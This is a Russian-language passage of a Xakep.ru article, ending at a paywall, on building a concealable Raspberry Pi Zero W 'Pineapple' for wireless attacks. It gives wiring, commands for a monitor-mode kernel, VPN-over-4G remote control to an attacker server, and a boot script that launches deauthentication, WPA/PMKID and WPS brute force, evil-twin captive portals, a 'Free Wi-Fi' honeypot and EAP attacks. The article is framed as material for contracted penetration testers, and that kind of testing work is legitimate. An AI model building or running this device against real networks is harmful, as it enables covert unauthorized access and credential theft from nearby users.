Содержание статьи
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Девайс‑невидимка. Встраиваемся в локальную сеть с помощью «невидимого» хакерского устройства».
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
В предыдущих статьях рассматривались атаки, требующие прямого доступа к устройству. Теперь речь пойдет о других типах физических атак — по радиоканалу, то есть не требующих непосредственного контакта с целями. А значит, эти атаки еще опаснее и злоумышленник становится еще незаметнее. Ведь если физические атаки больше характерны для внутреннего нарушителя, прошедшего определенные рубежи контроля, то физические атаки с применением радиоволн используют внешние нарушители, которые, возможно, находятся где‑то на расстоянии и действуют через стены.
Тем не менее это не полноценные удаленные атаки, проводимые через интернет. Такие атаки также требуют от злоумышленника быть рядом с целями, только «рядом» здесь означает несколько десятков или сотен метров. Сегодня беспроводные сети широко распространены, и со временем отказ от проводов в пользу радиоинтерфейсов будет только набирать обороты. Главная причина — удобство. А в мире ИБ, как правило, что удобно, то небезопасно. Все беспроводное можно как минимум заглушить, если взломать не получается.
Технология Wi-Fi представляет для потенциального злоумышленника перспективную поверхность для атак. Эта технология распространена повсеместно, максимально доступна и в то же время достаточно разнообразна в плане известных атак, простоте их исполнения и степени воздействия.
Главная особенность атак как на Wi-Fi, так и на радиосвязь в целом — ограниченный радиус действия. Для Wi-Fi такое ограничение составляет 50–100 м. И далеко не всегда принимаемый сигнал позволяет злоумышленнику занять удобное место, чтобы расположиться с ноутбуком. А некоторые атаки и вовсе требуют, чтобы сигнал атакующего устройства был лучше, чем у легитимного источника. Однако злоумышленник может собрать особое устройство, которое позволит ему выполнять атаки везде, где необходимо, выглядя при этом не так подозрительно, как на следующей картинке.
Часто атаки на беспроводные сети зависят от обстоятельств (например, наличия клиентов), поэтому их успешность определяет еще и длительность. Однако есть возможность сделать автономное миниатюрное устройство и заранее запрограммировать его на совершение тех или иных атак или удаленно управлять им так, что злоумышленник не будет обнаружен рядом с объектом и даже не попадет под объективы видеокамер. Такой девайс можно незаметно подложить вблизи целей. Мы рассмотрим пример такого устройства. По сути, это аналог известного готового решения Pineapple — аппаратной платформы, которая реализует атаки на беспроводные сети.
Вообще, попытка проникновения «по воздуху» — это не просто атака «в лоб», которую легко можно заметить по характерному имени. Зачастую компании делают множество дополнительных беспроводных сетей для разных целей: гостевую, корпоративную, технологическую, сеть для VIP-клиентов и прочие. Не стоит забывать про тестовые и разнообразные несанкционированные беспроводные сети. Если компания имеет строгую политику безопасности и запрещает выход в интернет, то количество несанкционированных «самопальных» беспроводных сетей, раздаваемых самими сотрудниками, как правило, велико. Так что, если беспроводная инфраструктура похожа на описанную, для злоумышленника атаки на сети Wi-Fi такой компании имеют большие шансы на успех, хоть и связаны с обширным перечнем проверок.
Реализация
Злоумышленнику вовсе не обязательно приобретать готовые дорогостоящие решения, он может собрать нужное устройство самостоятельно. На самом деле нет ничего сложного в том, чтобы в эру изобилия одноплатных компьютеров изготовить небольшое устройство, которое можно максимально гибко настраивать.
Основные требования к подобному устройству — миниатюрность, дешевизна, доступность компонентов и простота сборки. Наиболее удачным решением может быть Raspberry Pi Zero W — один из немногих широко известных одноплатных микрокомпьютеров, встроенный Wi-Fi-чип которого поддерживает режимы работы, необходимые для подавляющего количества атак. И в итоге можно перейти от того, что представлено на следующем рисунке, к чему‑то менее заметному.
А насколько собственное решение может быть меньше готового, видно на следующем рисунке.
Злоумышленник, конечно же, может пойти по пути наименьшего сопротивления и взять готовое решение. Но, учитывая то, что специфика атаки предполагает оставлять устройство в неконтролируемой зоне, оно становится в некоторой степени расходным материалом, причем весьма недешевым. К тому же миниатюрное устройство проще спрятать или даже поместить на дрон (об этом я расскажу в следующей статье). На мой взгляд, выбор под описываемые области применения тут очевиден: если устройство пропадет, злоумышленник просто купит еще один Raspberry и прошьет заготовленный образ на карту памяти, а не станет приобретать дорогое готовое решение и ждать, кого его доставят.
Raspberry, как и большинство других одноплатных компьютеров, может работать на пониженном напряжении, что позволяет использовать с ним популярные компактные аккумуляторы с напряжением 3,7 В. Такие аккумуляторы дешевле и меньше, чем powerbank, и их можно легко купить в специализированных магазинах. Заряжаются же они напряжением 5 В, которые можно взять от любого USB.
Правда, несмотря на то, что Raspberry Pi умеет работать от 3,3 В, внешние USB-устройства не получают при этом обещанные им USB-стандартом 5 В. Поэтому, если планируется использовать такие внешние USB-устройства, придется все‑таки поднять напряжение до 5 В через популярную плату DC-DC MT3608. В результате можно получить минимальную конфигурацию такого аппаратного решения, представленную на следующем рисунке.
Аккумулятор 3,7 В, расположенный снизу, через повышающую плату DC-DC MT3608 подает 5 В на второй и девятый пины GPIO. Также к преобразователю напряжения подпаян внешний Micro-USB для удобной зарядки аккумулятора и тумблер подачи питания от аккумулятора. Тем не менее у Raspberry есть два собственных USB-порта, значит, всегда есть возможность использовать обычный powerbank. Схема подключения к плате светодиодов, переключателей, а также подводки питания представлена на следующем рисунке.
Использование дисплея может быть расточительно с точки зрения экономии аккумулятора, поэтому для индикации процесса лучше использовать три светодиода. Принцип управления поведением светодиодов описан в статье про BadUSB-ETH.
Для автоматического старта тех или иных сценариев задействовано шесть положений перемычек (их программная обработка описана ниже) и две точки подачи напряжения — 5 и 3,3 В. Также восьмой и десятый пины — это точки, на которых с помощью UART-переходника всегда можно открыть шелл на Pineapple-устройстве.
Теперь к самому главному — Wi-Fi-адаптеру. Режим монитора встроенной Wi-Fi-карты недоступен «из коробки», но возможен на специальной прошивке, и для его активации требуется собрать новое ядро:
wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
tar -xJf re4son-kernel_current.tar.xz
cd re4son-kernel_4*sudo ./install.sh
После долгой установки появится дополнительный файл прошивки для Wi-Fi-чипа. Через этот файл реализуется режим монитора:
md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*bae7f1ba1b64cb19bb0c5433a3940405 /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815 /lib/firmware/brcm/brcmfmac43430-sdio.bin.original
Чтобы переключиться между прошивками, можно перезагрузить драйвер и переименовать файл прошивки:
rmmod brcmfmac
cp brcmfmac43430-sdio.bin.original brcmfmac43430-sdio.bin
modprobe brcmfmac
Режим монитора активируется в стиле mac80211-стека:
iw phy0 interface add mon0 type monitor
ifconfig mon0 up
airodump-ng mon0
Возможность автономно выполнять самые популярные Wi-Fi-атаки теперь обеспечена. Тем не менее с Raspberry всегда можно использовать любой внешний Wi-Fi-адаптер и дополнительные антенны. Правда, неприметность от этого может пострадать. Сложные атаки не так просто автоматизировать. И потенциальному злоумышленнику может быть на руку удаленное управление таким девайсом.
Достаточно легко сделать так, чтобы подобный Pineapple был всегда доступен злоумышленнику при помощи любого 4G-модема. Современный 4G-модем реализуется как виртуальная сетевая карта (уже знакомая нам по статье о BadUSB-ETH), что максимально упрощает взаимодействие Pineapple с ним. Для этого достаточно активировать сетевой интерфейс модема:
/etc/network/interfaces
allow-hotplug eth0
auto eth0
iface eth0 inet dhcp
Для удаленного доступа к Pineapple требуется настроить автозапуск VPN до сервера, используемого злоумышленником в качестве опорной точки:
cp your_vds.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds
Управлять непосредственно самим Pineapple проще всего по SSH:
systemctl enable ssh.service
Теперь злоумышленник может поместить такое устройство в любое место, где принимается сигнал атакуемых точек доступа или есть много потенциальных жертв для атак Evil Twin. При этом можно управлять Pineapple с ноутбука, сидя где‑нибудь в комфортном и безопасном месте.
Например, используя VPN-канал по 4G, злоумышленник может просто расшарить по сети беспроводной mon-интерфейс Pineapple и реализовывать все Wi-Fi-атаки со своего ноутбука:
pineapple> airserv-ng -p 1337 -d mon0
attacker> airodump-ng -c 1,6,11 pineapple:1337
Если 4G-канал недоступен, для настройки атак в автономном режиме всегда можно подключиться к плате и получить консоль через UART, как продемонстрировано на следующем рисунке.
sudo minicom -D /dev/ttyUSB0 -b 115200 --color=on
Далее уже в привычном шелле, работая с ОС девайса, можно выполнить тонкую настройку сценария атаки.
Зачастую в таком виде устройство завершает работу ОС некорректно, например если разрядился аккумулятор. Поэтому, чтобы на устройстве не пропали важные данные, рекомендуется отключить дисковый кеш:
/etc/fstab
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1
Подключаться к плате по UART или 4G весьма удобно, но в некоторых случаях злоумышленнику может потребоваться сразу начать выполнять атаки. Быстро запустить предустановленные сценарии, ориентированные на широкий круг целей, позволит джампер (перемычка) на GPIO. Отслеживать положение джампера на программной стороне можно так:
/usr/local/bin/jmp
#!/bin/bashexit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f 2)
Теперь, меняя положение джампера непосредственно перед включением Pineapple, злоумышленник указывает запуск, например, вектора Evil Twin или в другом положении — массовую деаутентификацию и сбор handshake (рукопожатия при аутентификации). Что и в каком случае использовать, задается в скрипте автозапуска:
/home/pi/startup.sh
#!/bin/bashfunction monitor_enable(){ iw phy0 interface add mon0 type monitor
ifconfig mon0 up
ifconfig wlan0 up
}raspi-gpio set 7 ip pu
raspi-gpio set 10 ip pu
raspi-gpio set 11 ip pu
raspi-gpio set 23 ip pu
raspi-gpio set 25 ip pu
raspi-gpio set 27 ip pu
cd /home/pi/
time=$(date +'%H:%M:%S_%d.%m.%Y')led green on 2> /dev/null
led yellow on 2> /dev/null
led red on 2> /dev/null
sleep 1
led green off 2> /dev/null
led yellow off 2> /dev/null
led red off 2> /dev/null
if jmp 7; then echo "[*] wpa auth/deauth/online_brute attack (static/dynamic)" monitor_enable
cd wpapsk
screen -dmS wpapsk -t monitor -L -Logfile "$time-wpapsk-%n.log" ./monitor.sh -c 1,6,11
#screen -r wpapsk -t deauth -X screen ./deauth.sh -b target.txt screen -r wpapsk -t brute-wpapsk -X screen ./brute-wpapsk.sh
screen -r wpapsk -t auth -X screen ./auth.sh
screen -r wpapsk -t brute-pmkid -X screen ./brute-pmkid.sh
screen -r wpapsk -t online_brute -X screen ./wpa_brute.sh "Target Wi-Fi" passwords.txt 4
#screen -r wpapsk -t online_brute -X screen './wpa_brute-width.sh 12345678 123456789 1234567890 password' cd -
elif jmp 11; then echo "[*] wps attack (static/dynamic)" cd wpapsk
screen -dmS wpapsk -t wps -L -Logfile "$time-wps-%n.log" ./wps.sh "Target Wi-Fi" cd -
elif jmp 10; then echo "[*] roqueap/eviltwin attack (static)" #monitor_enable cd eviltwin
ifconfig wlan0 10.0.0.1/24
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
screen -dmS eviltwin -t hostapd -L -Logfile "$time-eviltwin-%n.log" ./hostapd.sh "Corp Wi-Fi" "" screen -r eviltwin -t dnsmasq -X screen ./dnsmasq.sh
screen -r eviltwin -t captive -X screen ./captive.sh www/
#screen -r eviltwin -t deauth -X screen ./deauth.sh -c 1,6,11 cd -
elif jmp 23; then echo "[*] roqueap/honeypot (static)" cd honeypot
ifconfig wlan0 10.0.0.1/24
screen -dmS honeypot -t hostapd -L -Logfile "$time-honeypot-%n.log" ./hostapd.sh "Free Wi-Fi" "" screen -r honeypot -t dnsmasq -X screen ./dnsmasq.sh
screen -r honeypot -t attack -X screen ./attack.sh
cd -
elif jmp 25; then echo "[*] roqueap/eap (static)" cd eap
screen -dmS eap -t hostapd-eaphammer -L -Logfile "$time-eap-%n.log" ./hostapd-eaphammer.sh "Target Wi-Fi" #screen -r eap -t deauth -X screen ./deauth.sh -c 1,6,11 cd -
cd -
Ход и результаты атак сохраняются в соответствующие файлы на карте памяти Pineapple, с названием, отражающим тип, дату и время атаки. Этот скрипт следует лишь добавить в автозагрузку:
/etc/rc.local
/bin/bash /home/pi/startup.sh &
В скрипте startup.
тезисно описаны все атаки, которые рассматриваются в этой статье.
Атаки на Wi-Fi
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»